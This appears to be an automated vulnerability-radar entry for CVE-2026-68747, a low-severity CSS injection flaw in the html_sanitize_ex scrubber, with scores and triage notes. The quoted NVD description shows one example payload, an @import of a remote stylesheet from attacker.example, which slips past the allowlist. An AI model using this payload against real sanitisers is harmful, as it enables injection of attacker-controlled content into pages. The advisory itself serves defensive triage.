Vuln Signal Radar
public-safe defensive signal
LOWpublic-safe

CVE-2026-68747

NVD: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') vulnerability in the CSS scrubber in rrrene html_sanitize_ex allows an unauthenticated remote attacker to inject CSS at-rules, including an import of a remote... NVD: HtmlSanitizeEx.Scrubber.CSS.scrub/1 applies its property and value allowlist through a Regex.replace over substrings matching a property: value declaration pattern, so input that does not match that pattern is never inspected and is copied to the output... NVD: @import url(//attacker.example/style.css); survives, while the same URL inside a background: url(...) declaration is removed.

CVSS
2.3
Severity
LOW
EPSS
0.0025 (17)
KEV
-

Source-published summary

NVD: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') vulnerability in the CSS scrubber in rrrene html_sanitize_ex allows an unauthenticated remote attacker to inject CSS at-rules, including an import of a remote... NVD: HtmlSanitizeEx.Scrubber.CSS.scrub/1 applies its property and value allowlist through a Regex.replace over substrings matching a property: value declaration pattern, so input that does not match that pattern is never inspected and is copied to the output... NVD: @import url(//attacker.example/style.css); survives, while the same URL inside a background: url(...) declaration is removed.

Possible impact

Source describes remote exposure. Possible impact: This low severity issue needs human triage to confirm exposure, affected versions, and vendor guidance for remote exposure.

Affected context

vendor/product: rrrene / htmlsanitizeex

Remediation / advisory

Remediation reference present; patch status requires confirmation in the linked advisory.

Why it matters

Source describes remote exposure. Possible impact: This low severity issue needs human triage to confirm exposure, affected versions, and vendor guidance for remote exposure.; CVSS 2.3 (LOW); EPSS percentile 17; not listed in KEV; Remediation reference present; patch status requires confirmation in the linked advisory; sources: NVD, OSV.

What to verify

Confirm affected product/version, vendor advisory, patch or mitigation, and exposure.

Exposure hint

remote exposure

Impact tags

remote exposure relevant

Urgency reasons

affected product presentvendor advisory presentrecent updateremediation reference present

Source-derived note

Summary derived from NVD / OSV description; unsafe procedural detail is not shown.

Redaction metadata

source summary used
True
fallback summary used
False
unsafe procedural detail present
false
raw source displayed
false
public summary redacted
true

Remediation handoff

Public-safe static handoff for human/Codex remediation planning. Scan, patch, external execution, and auto remediation are disabled.

Safety note

This radar shows source-published defensive context only. Exploit procedures, exploit strings, scanner commands, and auto-remediation are not provided.

Official references